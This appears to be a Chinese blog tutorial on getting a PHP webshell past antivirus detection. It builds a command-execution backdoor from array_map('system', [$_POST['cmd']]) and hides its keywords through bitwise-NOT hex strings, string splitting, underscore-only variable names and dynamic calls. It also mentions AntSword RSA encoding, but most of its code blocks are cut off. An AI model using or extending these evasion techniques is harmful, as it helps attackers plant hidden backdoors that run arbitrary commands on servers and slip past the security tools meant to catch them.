PHP WebShell 免杀之字符串运算 + 动态调用
前言
以火绒为例,如果直接传入一句话木马包被识别的
例如下面我刚写完保存就给我删了

我们要从杀软的角度去思考,毕竟杀软也是圈内安全人士开发的
识别木马最简单的方法就是读取文件内容识别关键字如 eval、assert 等等
当然也还有结构特征,例如 @eval($_GET["code"]) 等等
以上是静态的,当然还有动态的,只不过这个根据杀软的强度来的,只要静态过了,动态大概率会过
WebShell 的动态不像 C2 木马那样容易捕捉
思路
先确定 Payload 结构,避免常规的结构特征,使用较为冷门的去打 RCE
array_map 的作用是将回调函数(这里是 system)应用到数组的每一个元素上
数组里只有一个元素 $_POST['cmd'],于是 system 会执行这个命令,并在页面上输出结果
1 | array_map('system', [$_POST['cmd']]); |
利用 PHP 的字符串特性,如异或(^)、取反(~)、自增(++)来动态构造关键词
我们可以将关键字拆开,先构造出关键字的部分字符,然后再拼接起来
PHP 的按位取反运算符 ~ 作用在字符串上,会对其每个字节执行按位取反
如果原始字符串为 array_map,我们可以先计算出它每个字符取反后的字节序列,然后将这个不可打印的十六进制字符串嵌入代码,再用 ~ 取反回来,得到原始字符串
例如:
1 | "a" (97) 取反 → 0x9E |
array_map 的完整序列就是 \x9E\x8D\x8D\x9E\x86\xA0\x92\x9E\x8F
再进一步打散特征,不直接写成一大串,而是拆成多段用 . 连接
1 | "\x9E\x8D\x8D" . "\x9E\x86\xA0" . "\x92\x9E\x8F" |
为了避免敏感词汇,所有变量名使用 _ 命名,得到
1 | $_ = ~( |
最后是动态调用
1 | $___ = "_POST" |
完整 Payload 如下:
1 |
|
实战


使用蚁剑 RSA 加密效果如下:

这是编码器源码:
1 | ; |
这是最后含有加密的代码
1 | // ===== 原有混淆:array_map, system, _POST, cmd ===== |
